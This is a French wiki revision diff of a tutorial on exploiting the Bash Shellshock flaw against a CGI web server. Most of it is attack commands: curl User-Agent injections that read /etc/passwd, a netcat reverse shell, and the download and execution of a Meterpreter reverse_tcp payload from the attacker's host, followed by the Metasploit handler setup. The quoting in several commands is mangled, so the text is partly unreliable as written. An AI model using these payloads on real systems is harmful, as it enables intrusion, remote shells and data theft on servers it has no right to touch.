Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentes Révision précédente | Prochaine révision Les deux révisions suivantes | ||
appsysteme:bash_-_shellshock [2016/01/30 21:39] arkinar |
appsysteme:bash_-_shellshock [2016/02/02 08:08] arkinar |
||
---|---|---|---|
Ligne 25: | Ligne 25: | ||
Voici un petite ligne de code pour voir si vous êtes vulnérable : | Voici un petite ligne de code pour voir si vous êtes vulnérable : | ||
- | env x='() { :;}; echo vulnérable' bash -c "echo ceci est un test" | + | <code>env x='() { :;}; echo vulnérable' bash -c "echo ceci est un test"</code> |
Si elle vous renvoi : "Vulnérable" | Si elle vous renvoi : "Vulnérable" | ||
Ligne 39: | Ligne 39: | ||
Commençons simplement : | Commençons simplement : | ||
- | curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com | + | <code>curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com </code> |
curl est une commande linux permettant de forger des requêtes HTTP. | curl est une commande linux permettant de forger des requêtes HTTP. | ||
Ligne 49: | Ligne 49: | ||
Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject | Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject | ||
- | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ cat /etc/passwd; | + | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ cat /etc/passwd; |
- | http://mon_serveur_faillible.com/cgi-bin/status | + | http://mon_serveur_faillible.com/cgi-bin/status</code> |
Cette commande quand à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. | Cette commande quand à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. | ||
Ligne 56: | Ligne 56: | ||
L'option -A nous permet d’accéder au contenu de l'user-agent qui sera contenu dans la requête HTTP. | L'option -A nous permet d’accéder au contenu de l'user-agent qui sera contenu dans la requête HTTP. | ||
- | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status</code> |
Cette commande nous donne l'identifiant du compte sur lequel on exécute les commandes. | Cette commande nous donne l'identifiant du compte sur lequel on exécute les commandes. | ||
Ligne 66: | Ligne 66: | ||
Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : | Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : | ||
- | nc -l 333 | + | <code>nc -l 333 </code> |
L'option -l permet d'écouter sur le port 333 (c'est bien un L et non I majuscule) | L'option -l permet d'écouter sur le port 333 (c'est bien un L et non I majuscule) | ||
Ligne 72: | Ligne 72: | ||
Dans un autre terminal : | Dans un autre terminal : | ||
- | curl -A ;() { :;}; /bin/nc -e /bin/sh http://mon_serveur/ 333; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A ;() { :;}; /bin/nc -e /bin/sh http://mon_serveur/ 333; http://mon_serveur_faillible.com/cgi-bin/status</code> |
Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'option -e | Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'option -e | ||
Ligne 88: | Ligne 88: | ||
On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur | On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur | ||
- | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status</code> |
Généralement dans le dossier personnel de l'utilisateur avec lequel on exécute les commandes. | Généralement dans le dossier personnel de l'utilisateur avec lequel on exécute les commandes. | ||
Ligne 98: | Ligne 98: | ||
Pour le générer : | Pour le générer : | ||
- | msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4443 | + | <code>msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4443</code> |
Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. | Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. | ||
Ligne 110: | Ligne 110: | ||
Démarrer votre service apache : | Démarrer votre service apache : | ||
- | /etc/init.d/apache2 start | + | <code>/etc/init.d/apache2 start</code> |
Copier le fichier lbdoor dans /var/www/ | Copier le fichier lbdoor dans /var/www/ | ||
Ligne 116: | Ligne 116: | ||
Nous allons le télécharger sur le serveur de la vulnérable : | Nous allons le télécharger sur le serveur de la vulnérable : | ||
- | curl -A;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A;() { :;}; echo ;Content-type: text/plain; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status </code> |
On lui ajoute les droits d’exécution : | On lui ajoute les droits d’exécution : | ||
- | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status</code> |
{{ :appsysteme:metasploit_shellshock.png?nolink |}} | {{ :appsysteme:metasploit_shellshock.png?nolink |}} | ||
Ligne 126: | Ligne 126: | ||
On ouvre Metasploit : | On ouvre Metasploit : | ||
- | msfconsole | + | <code>msfconsole</code> |
On sélectionne le module qui nous permettra d’écouter les connexions entrante : | On sélectionne le module qui nous permettra d’écouter les connexions entrante : | ||
- | use exploit/multi/handler | + | <code>use exploit/multi/handler</code> |
On lui stipule qu'elle type de connexion il doit attendre : | On lui stipule qu'elle type de connexion il doit attendre : | ||
- | set PAYLOAD linux/x86/meterpreter/reverse_tcp | + | <code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> |
On lui stipule sur qu'elle host il doit attendre la connexion : | On lui stipule sur qu'elle host il doit attendre la connexion : | ||
- | set LHOST 192.168.1.1 | + | <code>set LHOST 192.168.1.1</code> |
On lui stipule sur qu'elle port il doit attendre la connexion : | On lui stipule sur qu'elle port il doit attendre la connexion : | ||
- | set LPORT 4443 | + | <code>set LPORT 4443</code> |
Et on exécute : | Et on exécute : | ||
- | run | + | <code>run<c/ode> |
Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | ||
Ligne 157: | Ligne 157: | ||
Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable: | Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable: | ||
- | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status | + | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> |
Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. |